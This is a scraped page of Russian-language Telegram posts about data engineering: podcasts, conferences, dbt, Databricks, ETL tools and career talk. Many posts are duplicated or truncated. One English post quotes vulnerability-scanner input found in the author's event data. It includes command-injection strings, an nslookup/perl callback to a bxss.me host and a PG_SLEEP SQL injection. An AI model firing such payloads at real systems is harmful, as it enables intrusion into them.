Дата инжиниринг – одна из самых сложных и востребованных профессий в области данных. В новом выпуске подкаста Data Heroes мы поговорим с инженерами данных и наконец-то узнаем, чем именно они занимаются 🚀 В этом эпизоде мы поговорим о важности роли дата инженера в бизнес-процессах, а также сложностях и нюансах специализации. Наши эксперты поделятся своим бесценным опытом и расскажут о: ▪️Своем извилистом пути в профессию ▪️Современном дата инжиниринге и о том, как он отличается от компании к компании ▪️Сходствах и различиях в ролях аналитика и дата инженера и о том, когда эти роли можно совмещать ▪️Важности софт-скиллов для дата инженера БОНУС: Как и всегда, наши спикеры дадут полезные реком…

1 день, 7 часов назад @ t.me
Я тут в подкаст сходил, в очередной раз рассказать свою историю 😄Приходите послушать =)
Я тут в подкаст сходил, в очередной раз рассказать свою историю 😄Приходите послушать =)

Я тут в подкаст сходил, в очередной раз рассказать свою историю 😄Приходите послушать =)

1 день, 7 часов назад @ t.me
https://boringtechnology.club/У нас тут в чатиках инженеров главные срачи это что “питухон херня”, “кликхаус надо закопать” и “погромисты что-то наговняколи”. Проблема всех этих споров - они ни к чему не приводят. Людя любят фокусироваться на конкретных те
https://boringtechnology.club/У нас тут в чатиках инженеров главные срачи это что “питухон херня”, “кликхаус надо закопать” и “погромисты что-то наговняколи”. Проблема всех этих споров - они ни к чему не приводят. Людя любят фокусироваться на конкретных те https://boringtechnology.club/У нас тут в чатиках инженеров главные срачи это что “питухон херня”, “кликхаус надо закопать” и “погромисты что-то наговняколи”. Проблема всех этих споров - они ни к чему не приводят. Людя любят фокусироваться на конкретных те

https://boringtechnology.club/У нас тут в чатиках инженеров главные срачи это что “питухон херня”, “кликхаус надо закопать” и “погромисты что-то наговняколи”. Проблема всех этих споров - они ни к чему не приводят. Людя любят фокусироваться на конкретных технологиях, вместо того , чтобы задавать вопрос “Зачем мы это делаем?”. В тысячный раз повторю, чем больше у вас опыта и вы выше по карьерной лестнице, тем важней стоновятся софт-скиллы, а технические теряют свой вес (конечно, они тож важны, не то, чтобы надо забыть, как писать SQL запрос).Сейчас выгляжу как ментор в белом пальто, вещая со своей колокольни, конечно же =)Ну да ладно, по ссылке выше - замечательное решение для всех этих споро…

2 недели, 1 день назад @ t.me
Все хотят быть Analytics Engineer!https://benn.substack.com/p/why-do-people-want-to-be-analyticsВот наткнулся я на такую вот статью. И сходу там такое заявление:So naturally, ten years later, the new sexiest job of the twenty-first century, the job that an
Все хотят быть Analytics Engineer!https://benn.substack.com/p/why-do-people-want-to-be-analyticsВот наткнулся я на такую вот статью. И сходу там такое заявление:So naturally, ten years later, the new sexiest job of the twenty-first century, the job that an

Все хотят быть Analytics Engineer!https://benn.substack.com/p/why-do-people-want-to-be-analyticsВот наткнулся я на такую вот статью. И сходу там такое заявление:So naturally, ten years later, the new sexiest job of the twenty-first century, the job that analysts want to graduate into, is…the analytics engineer, whose primary responsibility is cleaning and modeling messy data. For an analytics engineer, success is a humming system, a clean codebase, and the satisfying tick of dbt jobs completing in your terminal.Сижу и чешу репу, ведь это очень похоже на Data Engineers. Или я окончательно запутался, кто и чем занимается, или наоборот, я еще сильней прав в том, что DWH Engineer, ETL Engineer,…

2 недели, 3 дня назад @ t.me
https://www.wsj.com/articles/meta-is-preparing-to-notify-employees-of-large-scale-layoffs-this-week-11667767794Кажется, неделя будет очень непростой. Даже Венгр подтверждает, что данное событие случится, Мета впервые за 18 лет проведет сокращения[email protected]
https://www.wsj.com/articles/meta-is-preparing-to-notify-employees-of-large-scale-layoffs-this-week-11667767794Кажется, неделя будет очень непростой. Даже Венгр подтверждает, что данное событие случится, Мета впервые за 18 лет проведет сокращения.@ohmydata https://www.wsj.com/articles/meta-is-preparing-to-notify-employees-of-large-scale-layoffs-this-week-11667767794Кажется, неделя будет очень непростой. Даже Венгр подтверждает, что данное событие случится, Мета впервые за 18 лет проведет сокращения[email protected]

https://www.wsj.com/articles/meta-is-preparing-to-notify-employees-of-large-scale-layoffs-this-week-11667767794Кажется, неделя будет очень непростой. Даже Венгр подтверждает, что данное событие случится, Мета впервые за 18 лет проведет сокращения[email protected]

3 недели, 3 дня назад @ t.me
Две картинки о том, что происходит в IT мире. Точнее в FAANG и около компаниях (это ведь все-таки не весь IT мир). Но некий тренд и куда ветер будет дуть дает понять.В обоих случаях сравнивается TC (Total Comp) в $350к / год, то есть Base Salary ($200k / г
Две картинки о том, что происходит в IT мире. Точнее в FAANG и около компаниях (это ведь все-таки не весь IT мир). Но некий тренд и куда ветер будет дуть дает понять.В обоих случаях сравнивается TC (Total Comp) в $350к / год, то есть Base Salary ($200k / г Две картинки о том, что происходит в IT мире. Точнее в FAANG и около компаниях (это ведь все-таки не весь IT мир). Но некий тренд и куда ветер будет дуть дает понять.В обоих случаях сравнивается TC (Total Comp) в $350к / год, то есть Base Salary ($200k / г

Две картинки о том, что происходит в IT мире. Точнее в FAANG и около компаниях (это ведь все-таки не весь IT мир). Но некий тренд и куда ветер будет дуть дает понять.В обоих случаях сравнивается TC (Total Comp) в $350к / год, то есть Base Salary ($200k / год) + Stocks ($150k / год) и то, как оно примерно изменилось.На первой картинке Март 2021 vs Март 2022На второй картинке Март 2021 vs Октябрь [email protected]

1 месяц назад @ t.me
SmartData 2022Я скучал по оффлайн конференциям. И пусть сегодня нас не так много, все равно рад всех видеть.Если вы тут, подходите, дергайте за рукав, давайте знакомиться и общаться[email protected]
SmartData 2022Я скучал по оффлайн конференциям. И пусть сегодня нас не так много, все равно рад всех видеть.Если вы тут, подходите, дергайте за рукав, давайте знакомиться и общаться!@ohmydataengineer SmartData 2022Я скучал по оффлайн конференциям. И пусть сегодня нас не так много, все равно рад всех видеть.Если вы тут, подходите, дергайте за рукав, давайте знакомиться и общаться[email protected]

SmartData 2022Я скучал по оффлайн конференциям. И пусть сегодня нас не так много, все равно рад всех видеть.Если вы тут, подходите, дергайте за рукав, давайте знакомиться и общаться[email protected]

1 месяц назад @ t.me
https://www.deepchannel.com/posts/bringing-autocomplete-to-analytics-engineersДля всех фанатов dbt: тут вот делают IDE для него, в которой обещают не только автокомплит, но и еще кучку всяких функций прикольных[email protected]
https://www.deepchannel.com/posts/bringing-autocomplete-to-analytics-engineersДля всех фанатов dbt: тут вот делают IDE для него, в которой обещают не только автокомплит, но и еще кучку всяких функций прикольных[email protected]

https://www.deepchannel.com/posts/bringing-autocomplete-to-analytics-engineersДля всех фанатов dbt: тут вот делают IDE для него, в которой обещают не только автокомплит, но и еще кучку всяких функций прикольных[email protected]

1 месяц назад @ t.me
Тут прошел недавно Coalese - конференция по DE и Аналитике.Видеозаписи, конечно же, доступны на Youtube (на минуточку, 183 записи).Но мне понравились парочка докладов не связанных напрямую с инжинирингом, а с карьерным развитием.1. Excel at nothing: How to
Тут прошел недавно Coalese - конференция по DE и Аналитике.Видеозаписи, конечно же, доступны на Youtube (на минуточку, 183 записи).Но мне понравились парочка докладов не связанных напрямую с инжинирингом, а с карьерным развитием.1. Excel at nothing: How to Тут прошел недавно Coalese - конференция по DE и Аналитике.Видеозаписи, конечно же, доступны на Youtube (на минуточку, 183 записи).Но мне понравились парочка докладов не связанных напрямую с инжинирингом, а с карьерным развитием.1. Excel at nothing: How to

Тут прошел недавно Coalese - конференция по DE и Аналитике.Видеозаписи, конечно же, доступны на Youtube (на минуточку, 183 записи).Но мне понравились парочка докладов не связанных напрямую с инжинирингом, а с карьерным развитием.1. Excel at nothing: How to be an effective generalistЭто как раз про тех специалистов, которые не T-shape, а как расческа, перевернутое Ш 😄2. Clearing the path: a career progression for individual growthПро карьерное планирование и как фокусироваться на том, что поможет вам расти[email protected]

1 месяц назад @ t.me
https://www.starburst.io/info/trinosummit/Для тех, у кого Trino / Presto в продакшене, 10 ноября будет конференция от Starburst (это одни из главных контрибьюторов / внедренцев Trino).Самое интересное для меня - Iceberg, а там аж целых два доклада на эту т
https://www.starburst.io/info/trinosummit/Для тех, у кого Trino / Presto в продакшене, 10 ноября будет конференция от Starburst (это одни из главных контрибьюторов / внедренцев Trino).Самое интересное для меня - Iceberg, а там аж целых два доклада на эту т https://www.starburst.io/info/trinosummit/Для тех, у кого Trino / Presto в продакшене, 10 ноября будет конференция от Starburst (это одни из главных контрибьюторов / внедренцев Trino).Самое интересное для меня - Iceberg, а там аж целых два доклада на эту т

https://www.starburst.io/info/trinosummit/Для тех, у кого Trino / Presto в продакшене, 10 ноября будет конференция от Starburst (это одни из главных контрибьюторов / внедренцев Trino).Самое интересное для меня - Iceberg, а там аж целых два доклада на эту тему.Онлайн и бесплатно[email protected]

1 месяц, 1 неделя назад @ t.me
https://benn.substack.com/p/how-dbt-fails“На небесах только и разговоров, что о море о dbt”.Если вы хоть немного смотрите ютуб и читаете профессиональные статьи, вы могли слышать о dbt. Он был создан, чтобы спасти нас с нашими огромными трансформациями в E
https://benn.substack.com/p/how-dbt-fails“На небесах только и разговоров, что о море о dbt”.Если вы хоть немного смотрите ютуб и читаете профессиональные статьи, вы могли слышать о dbt. Он был создан, чтобы спасти нас с нашими огромными трансформациями в E

https://benn.substack.com/p/how-dbt-fails“На небесах только и разговоров, что о море о dbt”.Если вы хоть немного смотрите ютуб и читаете профессиональные статьи, вы могли слышать о dbt. Он был создан, чтобы спасти нас с нашими огромными трансформациями в ETL, навесить проверки качества и чуть ли не линедж делать и документация автоматическая.Однако не все так очевидно и замечательно, и вот у меня наконец дошли руки до того, чтобы прочитать критику про этот тул.Но даже при всем этом, пока у него больше плюсов, чем минусов. Хотя мб потому что мы не платим за него и пока его использование только в самом начале?)Но если вы вдруг хотите его использовать, то в телеграме есть сообщество на русском…

1 месяц, 1 неделя назад @ t.me
Это было очень забавный и интересный опыт на конференции: я уже был зрителем, я работал на стенде, я был организатором, я был в программном комитете и выбирал доклады, а вот наконец-то, я в телеэкране.Это пока лишь panel talk & quiz game, но все же. Ме
Это было очень забавный и интересный опыт на конференции: я уже был зрителем, я работал на стенде, я был организатором, я был в программном комитете и выбирал доклады, а вот наконец-то, я в телеэкране.Это пока лишь panel talk & quiz game, но все же. Ме Это было очень забавный и интересный опыт на конференции: я уже был зрителем, я работал на стенде, я был организатором, я был в программном комитете и выбирал доклады, а вот наконец-то, я в телеэкране.Это пока лишь panel talk & quiz game, но все же. Ме

Это было очень забавный и интересный опыт на конференции: я уже был зрителем, я работал на стенде, я был организатором, я был в программном комитете и выбирал доклады, а вот наконец-то, я в телеэкране.Это пока лишь panel talk & quiz game, но все же. Медленно, но верно идем к собественному докладу.Посмотреть повтор можно тут:https://smartdataconf.ru/schedule/video?v=MTAwMTQwwooyMDAwMTE0OMKKMAНу и проголосовать за меня в голосовалке 😊

1 месяц, 2 недели назад @ t.me
Вот так, ты планируешь и готовишься к одному, а приходится адаптироваться под изменившиеся обстоятельства. Pun intended.😄Потому что я планировал выступать на SmartData со своим докладом, но обстоятельства изменились.Однако жизнь подкинула других возможност
Вот так, ты планируешь и готовишься к одному, а приходится адаптироваться под изменившиеся обстоятельства. Pun intended.😄Потому что я планировал выступать на SmartData со своим докладом, но обстоятельства изменились.Однако жизнь подкинула других возможност Вот так, ты планируешь и готовишься к одному, а приходится адаптироваться под изменившиеся обстоятельства. Pun intended.😄Потому что я планировал выступать на SmartData со своим докладом, но обстоятельства изменились.Однако жизнь подкинула других возможност

Вот так, ты планируешь и готовишься к одному, а приходится адаптироваться под изменившиеся обстоятельства. Pun intended.😄Потому что я планировал выступать на SmartData со своим докладом, но обстоятельства изменились.Однако жизнь подкинула других возможностей, за которые я решил ухватиться.Поэтому завтра буду учавствовать в одной из активностей на SmartData - “Своя Игра”. Буду самым глупым, заработаю 0 баллов, зато умных людей послушаю 😊А вы приходите слушать меня, потому что второй день конференции, Community Day, будет бесплатным.Зарегистрироваться по ссылке выше[email protected]

1 месяц, 2 недели назад @ t.me
https://www.youtube.com/watch?v=-EbDGTXEsz4Seattle Data Guy рассказывает про то, какие “плюшки” в работе DE в FAANG есть, чего нет в других компаниях. У меня оч странное ощущение от видоса, такое ощущение, что как будто какой-то другой пузырь (и по классик
https://www.youtube.com/watch?v=-EbDGTXEsz4Seattle Data Guy рассказывает про то, какие “плюшки” в работе DE в FAANG есть, чего нет в других компаниях. У меня оч странное ощущение от видоса, такое ощущение, что как будто какой-то другой пузырь (и по классик

https://www.youtube.com/watch?v=-EbDGTXEsz4Seattle Data Guy рассказывает про то, какие “плюшки” в работе DE в FAANG есть, чего нет в других компаниях. У меня оч странное ощущение от видоса, такое ощущение, что как будто какой-то другой пузырь (и по классике, кликбейтный заголовок и превьюха). Давайте разберем по пунктам:- “Мне приходилось делать джойны из разных источников и там, о боже, не совпадали ключи. А в Facebook не надо было, там все было одинаково”.Мне казалось, что все давным давно уже научились и переболели этой болезнью называть одну и ту же сущность по разному и в разных форматах класть ее. А даже если у вас есть еще такое (что тоже норм), у вас есть этап очистки и подготовки.-…

1 месяц, 3 недели назад @ t.me
enthusiastech enthusiastech
последний пост 6 дней, 2 часа назад
💎 Операционализация аналитики c инструментами класса reverse ETL – опыт использования Census 💎В публикации:— Место reverse ETL в схеме потоков данных— Потребность в решении задач операционной аналитики— Различные способы организации reverse ETL— Кейс: Cens
💎 Операционализация аналитики c инструментами класса reverse ETL – опыт использования Census 💎В публикации:— Место reverse ETL в схеме потоков данных— Потребность в решении задач операционной аналитики— Различные способы организации reverse ETL— Кейс: Cens

💎 Операционализация аналитики c инструментами класса reverse ETL – опыт использования Census 💎В публикации:— Место reverse ETL в схеме потоков данных— Потребность в решении задач операционной аналитики— Различные способы организации reverse ETL— Кейс: Census для синхронизации данных в Pipedrive CRMСегодня Операционная аналитика и практики reverse ETL - не столько дань моде, сколько насущная потребность многих компаний. Создать идеальное Хранилище мало, ведь данные создают ценность только тогда, когда вы способны их использовать.Читать на Хабр → #Pipelines #reverse-ETL

6 дней, 2 часа назад @ t.me
21 ноября (понедельник) в 20:00 проведу вебинар: 🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀 Вы узнаете: 🔹 Каким образом собирать события организации из Github (Webhook, Airbyte) 🔹 С помощью чего осуществить парсинг, трансформа
21 ноября (понедельник) в 20:00 проведу вебинар: 🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀 Вы узнаете: 🔹 Каким образом собирать события организации из Github (Webhook, Airbyte) 🔹 С помощью чего осуществить парсинг, трансформа

21 ноября (понедельник) в 20:00 проведу вебинар: 🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀 Вы узнаете: 🔹 Каким образом собирать события организации из Github (Webhook, Airbyte) 🔹 С помощью чего осуществить парсинг, трансформации…

1 неделя, 1 день назад @ t.me
21 ноября (понедельник) в 20:00 проведу вебинар: 🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀 Вы узнаете: 🔹 Каким образом собирать события организации из Github (Webhook, Airbyte) 🔹 С помощью чего осуществить парсинг, трансформа
21 ноября (понедельник) в 20:00 проведу вебинар: 🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀 Вы узнаете: 🔹 Каким образом собирать события организации из Github (Webhook, Airbyte) 🔹 С помощью чего осуществить парсинг, трансформа

21 ноября (понедельник) в 20:00 проведу вебинар: 🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀 Вы узнаете: 🔹 Каким образом собирать события организации из Github (Webhook, Airbyte) 🔹 С помощью чего осуществить парсинг, трансформации…

1 неделя, 3 дня назад @ t.me
21 ноября (понедельник) в 20:00 проведу вебинар:🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀Вы узнаете:🔹 Каким образом собирать события организации из Github (Webhook, Airbyte)🔹 С помощью чего осуществить парсинг, трансформации, с
21 ноября (понедельник) в 20:00 проведу вебинар:🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀Вы узнаете:🔹 Каким образом собирать события организации из Github (Webhook, Airbyte)🔹 С помощью чего осуществить парсинг, трансформации, с

21 ноября (понедельник) в 20:00 проведу вебинар:🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀Вы узнаете:🔹 Каким образом собирать события организации из Github (Webhook, Airbyte)🔹 С помощью чего осуществить парсинг, трансформации, сборку витрин данных (dbt)🔹 Как приготовить метрики: PR Rate, Time to Review / Merge (Looker)Кому подходит:🔹 Начинающим и продолжающим специалистам в области Аналитики данных, Data Engineering🔹 Тем, кто интересуется современными подходами организации Хранилищ Данных🔹 Руководителям команд разработки, менеджерам и даже CTO Результаты:🔹 Познакомитесь с современными инструментами организации DWH🔹 Поймете, как устроены процессы разработки ПО в с…

1 неделя, 4 дня назад @ t.me
Databricks - пока понятно то, что ничего непонятноПробую Databricks– Установка в свой аккаунт AWS, сделать может только администратор (это не я) - ОК– Развертывание в Cloud Formation Stack в пару кликов, вроде удобно. Однако очень сложно понять, что происх
Databricks - пока понятно то, что ничего непонятноПробую Databricks– Установка в свой аккаунт AWS, сделать может только администратор (это не я) - ОК– Развертывание в Cloud Formation Stack в пару кликов, вроде удобно. Однако очень сложно понять, что происх

Databricks - пока понятно то, что ничего непонятноПробую Databricks– Установка в свой аккаунт AWS, сделать может только администратор (это не я) - ОК– Развертывание в Cloud Formation Stack в пару кликов, вроде удобно. Однако очень сложно понять, что происходит и зачем: S3, IAM, Lambda, CopyZips(??)– Сразу поднялись 3 жирных EC2 Instances i3.xlarge (зачем??), явным образом меня об этом не спросили, это не было очевидно– Очень много текста в документации, но хочется поглотить всёКто пользуется Databricks?Какие самые главные советы можете дать?

1 неделя, 6 дней назад @ t.me
Важнейшие критерии при выборе Extract – Load решения для интеграции данных в DWHВ публикации резюмирую свои знания:— Каталог поддерживаемых источников и приемников данных.— Метод чтения данных из источников (Extract).— Способы репликации в целевое Хранилищ
Важнейшие критерии при выборе Extract – Load решения для интеграции данных в DWHВ публикации резюмирую свои знания:— Каталог поддерживаемых источников и приемников данных.— Метод чтения данных из источников (Extract).— Способы репликации в целевое Хранилищ

Важнейшие критерии при выборе Extract – Load решения для интеграции данных в DWHВ публикации резюмирую свои знания:— Каталог поддерживаемых источников и приемников данных.— Метод чтения данных из источников (Extract).— Способы репликации в целевое Хранилище (Load).— Работа с изменениями структуры данных (Schema Evolution).— Трансформации перед загрузкой данных (EtLT).— Тип развертывания решения (Deployment).Буду объяснять и показывать примеры на сервисах, которые использовал сам: Hevo Data, Fivetran, Airbyte. Однако критерии универсальны и применимы для любых других систем подобного класса.Читать на Хабр →#Pipelines #ELT

2 недели, 1 день назад @ t.me
Новая публикация на Хабр ⬇️⬇️⬇️
Новая публикация на Хабр ⬇️⬇️⬇️

Новая публикация на Хабр ⬇️⬇️⬇️

2 недели, 1 день назад @ t.me
26 октября (среда) в 20:00 проведу вебинар: Работа с ГЕО-данными в DWH: координаты, зоны, агрегация – Привязка событий к зонам на карте города – Агрегирование и аналитика данных с помощью H3 (гексагоны) – Оптмизация расчетов и производительности, кэширов
26 октября (среда) в 20:00 проведу вебинар: Работа с ГЕО-данными в DWH: координаты, зоны, агрегация – Привязка событий к зонам на карте города – Агрегирование и аналитика данных с помощью H3 (гексагоны) – Оптмизация расчетов и производительности, кэширов

26 октября (среда) в 20:00 проведу вебинар: Работа с ГЕО-данными в DWH: координаты, зоны, агрегация – Привязка событий к зонам на карте города – Агрегирование и аналитика данных с помощью H3 (гексагоны) – Оптмизация расчетов и производительности, кэширование…

1 месяц назад @ t.me
Ссылка на YouTube: https://www.youtube.com/watch?v=IS5PIOhXLdk Старт в 20:00
Ссылка на YouTube: https://www.youtube.com/watch?v=IS5PIOhXLdk Старт в 20:00

Ссылка на YouTube: https://www.youtube.com/watch?v=IS5PIOhXLdk Старт в 20:00

1 месяц назад @ t.me
26 октября (среда) в 20:00 проведу вебинар: Работа с ГЕО-данными в DWH: координаты, зоны, агрегация – Привязка событий к зонам на карте города – Агрегирование и аналитика данных с помощью H3 (гексагоны) – Оптмизация расчетов и производительности, кэширов
26 октября (среда) в 20:00 проведу вебинар: Работа с ГЕО-данными в DWH: координаты, зоны, агрегация – Привязка событий к зонам на карте города – Агрегирование и аналитика данных с помощью H3 (гексагоны) – Оптмизация расчетов и производительности, кэширов

26 октября (среда) в 20:00 проведу вебинар: Работа с ГЕО-данными в DWH: координаты, зоны, агрегация – Привязка событий к зонам на карте города – Агрегирование и аналитика данных с помощью H3 (гексагоны) – Оптмизация расчетов и производительности, кэширование…

1 месяц назад @ t.me
26 октября (среда) в 20:00 проведу вебинар:Работа с ГЕО-данными в DWH: координаты, зоны, агрегация– Привязка событий к зонам на карте города– Агрегирование и аналитика данных с помощью H3 (гексагоны)– Оптмизация расчетов и производительности, кэшированиеРа
26 октября (среда) в 20:00 проведу вебинар:Работа с ГЕО-данными в DWH: координаты, зоны, агрегация– Привязка событий к зонам на карте города– Агрегирование и аналитика данных с помощью H3 (гексагоны)– Оптмизация расчетов и производительности, кэшированиеРа

26 октября (среда) в 20:00 проведу вебинар:Работа с ГЕО-данными в DWH: координаты, зоны, агрегация– Привязка событий к зонам на карте города– Агрегирование и аналитика данных с помощью H3 (гексагоны)– Оптмизация расчетов и производительности, кэшированиеРасскажу подробно, как это устроено в проекте Wheely, над которым я работаю.Как и зачем индексировать данные (например, с использованием библиотеки H3 от Uber).Выполнение гео-операций, проверка вхождения точки в конкретные зоны (аэропорты, вокзалы, ТЦ, районы города).⬇️ Ссылка на YouTube-трансляцию будет в этом канале

1 месяц, 1 неделя назад @ t.me
Databricks + Wheely Proof of Concept I will be assessing Databricks as our new data platform (to succeed AWS Redshift) – Requirements to E - L - T – Current setup description – Proof of Concept plan Desired business impact: – Cost effective (at least…
Databricks + Wheely Proof of Concept I will be assessing Databricks as our new data platform (to succeed AWS Redshift) – Requirements to E - L - T – Current setup description – Proof of Concept plan Desired business impact: – Cost effective (at least…

Databricks + Wheely Proof of Concept I will be assessing Databricks as our new data platform (to succeed AWS Redshift) – Requirements to E - L - T – Current setup description – Proof of Concept plan Desired business impact: – Cost effective (at least…

1 месяц, 1 неделя назад @ t.me
Databricks + Wheely Proof of Concept I will be assessing Databricks as our new data platform (to succeed AWS Redshift)– Requirements to E - L - T– Current setup description– Proof of Concept planDesired business impact:– Cost effective (at least compared t
Databricks + Wheely Proof of Concept I will be assessing Databricks as our new data platform (to succeed AWS Redshift)– Requirements to E - L - T– Current setup description– Proof of Concept planDesired business impact:– Cost effective (at least compared t

Databricks + Wheely Proof of Concept I will be assessing Databricks as our new data platform (to succeed AWS Redshift)– Requirements to E - L - T– Current setup description– Proof of Concept planDesired business impact:– Cost effective (at least compared to what we currently spend on AWS Redshift reserved flat rate)– Performance gains desired– Extended features support (H3, in-database ML, Advanced analytics, ...)– Access to ecosystem (docs, solutions, code examples, how-to guides)– Democratization of access to data and data-related services: built-in Notebook experience– No degradation (performance, outage, timeouts, job failures) in comparison with current state

1 месяц, 1 неделя назад @ t.me
Получил отказ"Немного деталей, которые повлияли на наше решение: То что вы применяете бест практики из разработки - это отлично, но для нашей конференции в докладе все же не хватает технического наполнения. Возможно, это потому что мы нацелины больше на ин
Получил отказ"Немного деталей, которые повлияли на наше решение: То что вы применяете бест практики из разработки - это отлично, но для нашей конференции в докладе все же не хватает технического наполнения. Возможно, это потому что мы нацелины больше на ин

Получил отказ"Немного деталей, которые повлияли на наше решение: То что вы применяете бест практики из разработки - это отлично, но для нашей конференции в докладе все же не хватает технического наполнения. Возможно, это потому что мы нацелины больше на инженеров, которые уже очень хорошо знакомы со системой контроля версий, CI/CD и вот это вот все. Нам кажется, что для нашей целевой аудитории доклад не будет иметь прикладной полезности."Технические детали это: "Я говорила про различные вариации b-tree в движках, как пример того, насколько глубокие технические подробности нам интересны"B-tree в аналитических СУБД и больших данных в 2022... Бугага 😂Есть идеи, на какой RU конфе готовы слушать…

2 месяца, 1 неделя назад @ t.me
Somebody is overwhelming our analytics trying to find security breaches. A brief infrastructure setup: we gather user events data in mobile apps (iOS, Android) and Web via Snowplow trackers, send it to Kafka queues, then land the data into DWH (Redshift) s
Somebody is overwhelming our analytics trying to find security breaches. A brief infrastructure setup: we gather user events data in mobile apps (iOS, Android) and Web via Snowplow trackers, send it to Kafka queues, then land the data into DWH (Redshift) s

Somebody is overwhelming our analytics trying to find security breaches. A brief infrastructure setup: we gather user events data in mobile apps (iOS, Android) and Web via Snowplow trackers, send it to Kafka queues, then land the data into DWH (Redshift) staging area.Looks like a vulnerability scanner is used. Take a look at the sample data:echo bvazvs$()\ igzdlg\nz^xyu||a #' &echo bvazvs$()\ igzdlg\nz^xyu||a #|" &echo bvazvs$()\ igzdlg\nz^xyu||a #bxss.me/t/xss.html?%00`(nslookup hitxbheyywgyq5e37d.bxss.me||perl -e "gethostbyname('hitxbheyywgyq5e37d.bxss.me')")`aUV52Y1o' OR 826=(SELECT 826 FROM PG_SLEEP(15))--^(#[email protected]#$)(()))******Despite basic checks are enforced (non-empty string, valid jso…

2 месяца, 1 неделя назад @ t.me
data будни data будни
последний пост 1 месяц, 1 неделя назад
Закрывая тему подкастов: оказывается, у Max Beauchemin (Бьюшемин?) тоже есть «свой» подкаст. Макс — автор Airflow и Superset, а подкаст они делают от имени Preset (платная версия их опенсорсного Superset).По ощущениям подкаст очень похож на подход опенсорс
Закрывая тему подкастов: оказывается, у Max Beauchemin (Бьюшемин?) тоже есть «свой» подкаст. Макс — автор Airflow и Superset, а подкаст они делают от имени Preset (платная версия их опенсорсного Superset).По ощущениям подкаст очень похож на подход опенсорс

Закрывая тему подкастов: оказывается, у Max Beauchemin (Бьюшемин?) тоже есть «свой» подкаст. Макс — автор Airflow и Superset, а подкаст они делают от имени Preset (платная версия их опенсорсного Superset).По ощущениям подкаст очень похож на подход опенсорса: сделай так, чтобы работало, а о фентифлюшках подумаем потом (или сделаем в платной версии, хе-хе): в подкасте присутствует шуршание проводов об одежду и стук клавиш на фоне.Сложно конспектировать, когда нет плана и чёткой темы; очень охоже на разговор на кухне у кулера.Если кто-то коллекционирует тематические подкасты, добавляйте к себе. А пока продолжаем наблюдение.https://podcasts.apple.com/us/podcast/the-analytics-everywhere-podcast/…

1 месяц, 1 неделя назад @ t.me
Ещё из новостей подкастов: у Самата Галимова вышли два интересных выпуска в подкасте «Запуск завтра»: 1. про российский StackOverflow — как студент сделал сайд-проект в универе, получилось хорошо и это стало основной работой. А потом продал его основателю
Ещё из новостей подкастов: у Самата Галимова вышли два интересных выпуска в подкасте «Запуск завтра»: 1. про российский StackOverflow — как студент сделал сайд-проект в универе, получилось хорошо и это стало основной работой. А потом продал его основателю

Ещё из новостей подкастов: у Самата Галимова вышли два интересных выпуска в подкасте «Запуск завтра»: 1. про российский StackOverflow — как студент сделал сайд-проект в универе, получилось хорошо и это стало основной работой. А потом продал его основателю «основного» StackOverflow — легендарному Джоелю Спольски. 2. про язык Kotlin, который был признан Google основным языком для разработки на Android. Как(и зачем!) в 2010 году в JetBrains захотели сделать свой язык программирования на замену стагнирующей в то время Java. И причём тут Андроид.Оба выпуска слушаются как аудио-книга — невероятная история с поворотами и техническими деталями. Тут вроде нечего конспектировать, надо слушать)

1 месяц, 1 неделя назад @ t.me
Очереди сообщенийВ подкасте Podlodka вышел выпуск про менеджеры очередей. Зашли с основных понятий и дальше по всем аспектам до антипаттернов проектирования. Рассказывал Владимир Перепелица, архитектор и продакт-менеджер из Tarantool.До сих пор не сталкив
Очереди сообщенийВ подкасте Podlodka вышел выпуск про менеджеры очередей. Зашли с основных понятий и дальше по всем аспектам до антипаттернов проектирования. Рассказывал Владимир Перепелица, архитектор и продакт-менеджер из Tarantool.До сих пор не сталкив

Очереди сообщенийВ подкасте Podlodka вышел выпуск про менеджеры очередей. Зашли с основных понятий и дальше по всем аспектам до антипаттернов проектирования. Рассказывал Владимир Перепелица, архитектор и продакт-менеджер из Tarantool.До сих пор не сталкивался ни с Kafka, ни RabbitMQ, поэтому мне было интересно послушать. Что-то из выпуска записал (как мог):Зачем оно нужно, почему не сделать напрямую: ⁃ декаплинг: источники и потребители данных не связаны напрямую, они ничего не знаю друг о друге, их может быть больше одного с каждой стороны; ⁃ снимает пиковую нагрузку когда потребитель временно недоступен.⌘В целом, чем-то похоже на базы данных: тоже запись и чтение. Иногда даже отдельные бд…

1 месяц, 1 неделя назад @ t.me
Выпуск Data Coffee про собеседованияТри лида́ обсуджают как они проводят собеседования для инженеров данных: ⁃ Сколько по времени должно быть собеседование — нормально ли заканчивать их досрочно, если по кандидату точно «да» или точно «нет». ⁃ Сколько вооб
Выпуск Data Coffee про собеседованияТри лида́ обсуджают как они проводят собеседования для инженеров данных: ⁃ Сколько по времени должно быть собеседование — нормально ли заканчивать их досрочно, если по кандидату точно «да» или точно «нет». ⁃ Сколько вооб

Выпуск Data Coffee про собеседованияТри лида́ обсуджают как они проводят собеседования для инженеров данных: ⁃ Сколько по времени должно быть собеседование — нормально ли заканчивать их досрочно, если по кандидату точно «да» или точно «нет». ⁃ Сколько вообще может быть этапов у процесса найма. ⁃ Чем отличаются задачи для джунов, мидлов и синьоров. С какого-то уровня помимо основных инструментов (SQL+Python/Scala) требуется понимать и общую архитектуру (и альтернативные варианты с их плюсами и минусами). ⁃ Зачем сотруднику присоединятся к клубу собеседующих — прокачивает техническую насмотренность и помогает точнее сориентировать свой уровень относительно других. ⁃ И отдельно про навык прогов…

1 месяц, 1 неделя назад @ t.me
🥸 короткий и дельный совет от Игоря Мосягина — добавлять эмоджи в отладочные логи, чтобы было заметнее это из доклада на конференции SmarData — там сегодня community day, можно посмотреть доклады бесплатно 👀
🥸 короткий и дельный совет от Игоря Мосягина — добавлять эмоджи в отладочные логи, чтобы было заметнее это из доклада на конференции SmarData — там сегодня community day, можно посмотреть доклады бесплатно 👀 🥸 короткий и дельный совет от Игоря Мосягина — добавлять эмоджи в отладочные логи, чтобы было заметнее это из доклада на конференции SmarData — там сегодня community day, можно посмотреть доклады бесплатно 👀

